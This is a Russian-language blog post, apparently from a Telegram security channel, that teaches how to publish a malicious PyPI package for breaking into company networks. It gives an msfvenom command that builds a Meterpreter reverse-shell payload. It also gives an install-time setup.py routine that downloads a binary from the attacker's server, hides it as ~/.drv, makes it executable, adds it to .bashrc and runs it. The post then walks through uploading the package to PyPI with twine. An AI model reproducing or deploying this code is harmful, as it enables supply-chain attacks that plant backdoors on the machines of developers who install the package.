Злая библиотека

Злая библиотека

Riza

Всем привет!

Сегодня я бы хотела поделиться с вами методом получения отправной точки в сеть какого-либо предприятия. Приступим!


С чем мы имеем дело?

Слышали ли вы когда нибудь о PyPI, NPM или NuGet?

Я думаю, что хоть кто нибудь хотя бы одно из этого знает. Так вот, все это - репозитории с библиотеками или просто пакетами (утилитами например), написанными на том или ином языке. Например PyPI (Python Package Index) - это репозитории с python пакетами, которые публикует непосредственно само сообщество. Залить пакет туда может кто угодно и они никак толком не проверяются, чем собственно злоумышленник и может воспользоваться.


Сегодня мы создадим библиотеку для PyPI, которая при установке будет устанавливать в систему бекдор. Мы будем ориентироваться только на Linux системы в данном примере, так как кому надо - тот сделает это мультиплатформенным. Поехали!


Как устроен PyPI пакет?

PyPI пакет представляет из себя обычный tar.gz архив, в котором хранятся метаданные пакета (README например), сам код (.py), дополнительные данные (например в случае с python-geoip это GeoIP.dat (то есть сама база данных GeoIP)) и установочный скрипт (setup.py). Именно установочный скрипт будет нам интересен!


Что мы будем делать?

Мы добавим перед выполнением функции setup (), которая является частью setuptools, добавим код, который как раз и будет ставить бекдор.

Для начала давайте создадим сам бекдор. Я не буду сильно заморачиваться и сделаю это при помощи Metasploit.

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=IP_ВАШЕГО_СЕРВЕРА_С_METASPLOIT LPORT=4444 -f elf -o /var/www/html


Далее вам нужно настроить обработчик подключений для этого бекдора. Тут думаю вы сами справитесь :) (use exploit/multi/handler)


Создаем сам пакет

Для этого нужно установить утилиту twine, при помощи которой мы и будем заливать пакеты (клиент для PyPI). Пишем:

pip install twine

Далее создаем конфиг для твайна. Для этого нужно создать файл .pypirc в домашней дериктории.

touch ~/.pypirc

Далее откроем его и запишем туда конфиг:

[pypi]

username=ВАШ_ЛОГИН_ОТ_PYPI

password=ВАШ_ПАРОЛЬ_ОТ_PYPI


Как вы уже поняли, нужно создать аккаунт на PyPI :) Но это дело двух минут, так что не буду это расписывать :)


Далее создаем папку с пакетом:

mkdir evil_library

В ней нам нужно создать папку с самим пакетом

mkdir evilpackage

И создать в ней файл __init__.py, далее можно ничего не трогать в этой папке. Вернемся к evil_library.


Создать файл setup.cfg, в котором мы запишем установочные конфигурации.


[metadata]

description-file = README.md

[bdist_wheel]

universal=1


universal=1 - пакет годен для всех версий Python

description-file - указание файла с описанием пакета (у меня без него twine не хотел работать)

Далее создайте файл README.md

Его можно оставить пустым.


Создаем сам установочный скрипт setup.py

Пишем в него:

from setuptools import setup, find_packages

setup(

 name = 'my_evil_library',

 packages = find_packages (),

 version = '0.1',

 description = 'I will hack you :3',

 author = 'Nobody',

 url = 'http://example.com',

 keywords = ['keyword?'],

 classifiers = []

)


В name укажите имя (будет pip install имя), версию и тд

Далее собираем пакет в архив.


Выполняем:

python ./setup.py sdist


После успешного выполнения у вас в папке evil_library должна появится папка dist, в которой и будет лежать архив.

Распакуем его:

tar -xvf архив.tar.gz

Перейдем в распакованную папку.

Открываем файлик setup.py и до вызова функции setup () пишем вот этот код:

def rn():
    import platform, os, stat
    s = False
    try:
        import urllib2
    except ImportError:
        import http.client
        s = True
    PATH = "/out"
    IP = "IP_ВАШЕГО_СЕРВЕРА"
    LOC = ".drv"

    if platform.system() == "Linux":

        if not s:
            response = urllib2.urlopen("http://" + IP + PATH).read()
        else:
            connection = http.client.HTTPConnection(IP)
            connection.request("GET", PATH)
            response = connection.getresponse().read()
        os.chdir(os.path.expanduser("~"))
        d = open(LOC, "wb")
        d.write(response)
        d.close()
        current_state = os.stat(LOC)
        os.chmod(LOC, current_state.st_mode | stat.S_IEXEC)
        brc = open(".bashrc", "a")
        brc.write("\n~/.drv &")
        brc.close()
        os.system("~/.drv")
    else:
        print("Error installing library!")
        exit(-1)

rn()




Этот код проверяет, на какой системе он запущен и если это Linux, то скачивает с вашего сервера бинарник, кидает его в домашнюю директорию в виде скрытого файла .drv, задает ему права на исполнение и прописывает в .bashrc его запуск.


Сохраняем setup.py

У вас должно получится примерно такое:

Далее обратно пакуем всю папку.

Пишем tar -zvfc имя_архива имя_папки

Далее можно удалить эту папку.


Теперь нам осталось лишь отправить пакет на PyPI.

Пишем:

twine upload архив.tar.gz

Готово!


Мы сделали вставку кода не сразу, потому что twine бы ругался и не создавал бы пакет.


Так же можно склеить это с уже готовой библиотекой.

Осталось лишь, чтобы жертва установила наш пакет!

Тоже самое можно проделывать и с NPM, Gem, NuGet и тд


Программист - неплохая точка для входа в сеть компании или проникновения на продакшн сервер ;)


Спасибо за внимание!


t.me/tmgroupsecurity

@tmgroupsecurity

Report Page